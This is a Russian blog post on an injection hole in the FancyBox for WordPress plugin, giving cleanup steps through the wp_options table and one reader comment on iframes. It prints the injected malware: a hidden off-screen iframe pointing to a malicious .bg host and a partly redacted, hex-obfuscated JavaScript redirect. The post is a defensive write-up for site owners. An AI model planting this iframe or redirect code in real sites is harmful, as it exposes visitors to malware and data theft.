уязвимость FancyBox for WordPress (Troj/JSRedir-QG)

5 февраля на сайте компании SecuriLab была опубликована статья про уязвимость, найденную в плагине FancyBox for WordPress. Эта уязвимость позволяет обойти ограничения безопасности и разместить вредоносную вставку на использующем этот плагин сайте.

Одним из вариантов уведомления о вредоносном коде является сообщение, выводимое в браузере Google Chrome:

Осторожно, вредоносное ПО!
Сайт krechetalo. bg может установить на ваш компьютер вредоносное ПО, которое крадет или удаляет личную информацию (например, фотографии, пароли, сообщения и реквизиты банковских карт).

И исходном коде выглядит вставка так:
уязвимость FancyBox for WordPress
Для устранения вредоносной ставки необходимо обновить плагин до последней версии и удалить вручную вредоносную вставку из базы данных, т.к. она прописана именно там в настройках плагина.
Для этого нужно воспользоваться либо phpMyAdmin, либо скриптом Adminer (это аналог phpMyAdmin, ищите на просторах).
Я использовал второе:
— открываем скрипт
— вводим необходимые данные для подключения
— отрываем нашу базу и переходим в таблицу wp_options (у вас префикс wp_ может быть другим согласно ваших настроек)
— ищем строку mfbfw и редактируем ее
уязвимость FancyBox for WordPress, 2
— удаляем лишний код и сохранияем

<iframe src="//krechetalo. bg/cgi-bin/index. php" width="240" height="70" style="position:absolute;left:-74001px;"></iframe><script>
</script>

Проверяем исходный код страницы — все гуд, вставки нет :-)

Update 02.04.15
по информации от поддержки Яндекса выставляемый, зараженному данным кодом сайту, вердикт это Troj/JSRedir-QG .
Возможны варианты вставки обфусцированного (шифрованного) кода:

<script>var _0x26ee=["\x74\x64\x73\x6B\x6A","\x74\x65\x73\x74\x63\x6F\x6F\x6B\x69\x65","\x6D\x61\x74\x63\x68","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x69\x65\x79\x66\x67\x69\x77\x65\x2E\x69\x67\x6E\x6F\x72\x65\x6C\x69\x73\x74\x2E\x63\x6F\x6D\x2F\x65\x30\x32\x7A","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x69\x65\x79\x66\x67\x69\x77\x65\x2E\x69\x67\x6E\x6F\x72\x65\x6C\x69\x73\x74\x2E\x63\x6F\x6D\x2F\x65\x30\x32\x44","\x67\x65\x74\x54\
.....
for(var _0x7af0xb=0;_0x7af0xb&lt;_0x7af0xa[_0x26ee[17]];_0x7af0xb++){var _0x7af0xc=_0x7af0xa[_0x7af0xb];while(_0x7af0xc[_0x26ee[19]](0)==_0x26ee[20]){_0x7af0xc=_0x7af0xc[_0x26ee[18]](1,_0x7af0xc[_0x26ee[17]])};if(_0x7af0xc[_0x26ee[21]](_0x7af0x9)==0){return _0x7af0xc[_0x26ee[18]](_0x7af0x9[_0x26ee[17]],_0x7af0xc[_0x26ee[17]])};};return null;}</script>

* — по соображениям безопасности часть кода удалена

1 коммент

Аватар

Денис Повага on 26.02.2015 at 08:24.

привет! Что только не подгружают фреймами на сайт. Ранее встречался со взломами сайтов, на dle чаще видилось. Подобно, только через script подгружался сторонний код php, который перенаправлял посетителя на другой сайт, либо только при заходе на мобильную версию… И одни пользуются ифремами, а другие делают через script src= путь до исполнителя.

и тот и тот способ рабочий. Интересно почему одни внедряют так, другие так. На западе к примеру, часто встречаю лендинги после подписки, или те которые под запуск продукта, так там 1 страница собрана из разных фреймов. Как бы у нас тоже некоторые используют это. Особенно мне понравилось это в том плане, что если каждую область грузить отдельно, комментарии вк или фейсбук в одной области, кнопки соц. сетей в другой области. И так, в случае, если сайт вк или фейсбук прилег или временно не отвечает, то страница на которой подгружаются комментарии уже через свой фрейм с отдельной страницы, будет загружаться быстрее, чтобы не ждать ответа с основного сайта. Видимо сначала все фреймы подгружаются и страница полностью, а уже из фреймов нужная информация. Только использовать это на проектах под поиск, видимо не совсем правильно, насколько помню, если структура сайта собрана из фреймов, то это не есть хорошо!

Ответить

Скажите свое мнение

ваш email не публикуется. обязательно *

;-) :yawn: :whew: :toivo: :tmi: :time: :thinking: :talking: :sweating: :swear: :sun: :star: :smoke: :smirk: :sleepy: :skype: :shock: :shake: :rofl: :rain: :punch: :puke: :poolparty: :pizza: :phone: :party: :oops: :nod: :no: :ninja: :neutral: :nerd: :music: :muscle: :mrgreen: :movie: :mooning: :mmm: :middlefinger: :makeup: :mail: :mad: :lol: :lipssealed: :kiss: :itwashtme: :inlove: :idea: :hi: :heidy: :heart: :headbang: :happy: :handshake: :giggle: :fubar: :flower: :evilgrin: :emo: :dull: :drunk: :drink: :doh: :devil: :dance: :cry: :cool: :coffie: :clapping: :cash: :call: :cake: :bug: :brokenheart: :bow: :blush: :beer: :bear: :bandit: :arrow: :angry: :angel: :^) :???: :?: :-| :-o :-P :-D :-) :-( :!:

 

*

code

Этот сайт использует Akismet для борьбы со спамом. Узнайте как обрабатываются ваши данные комментариев.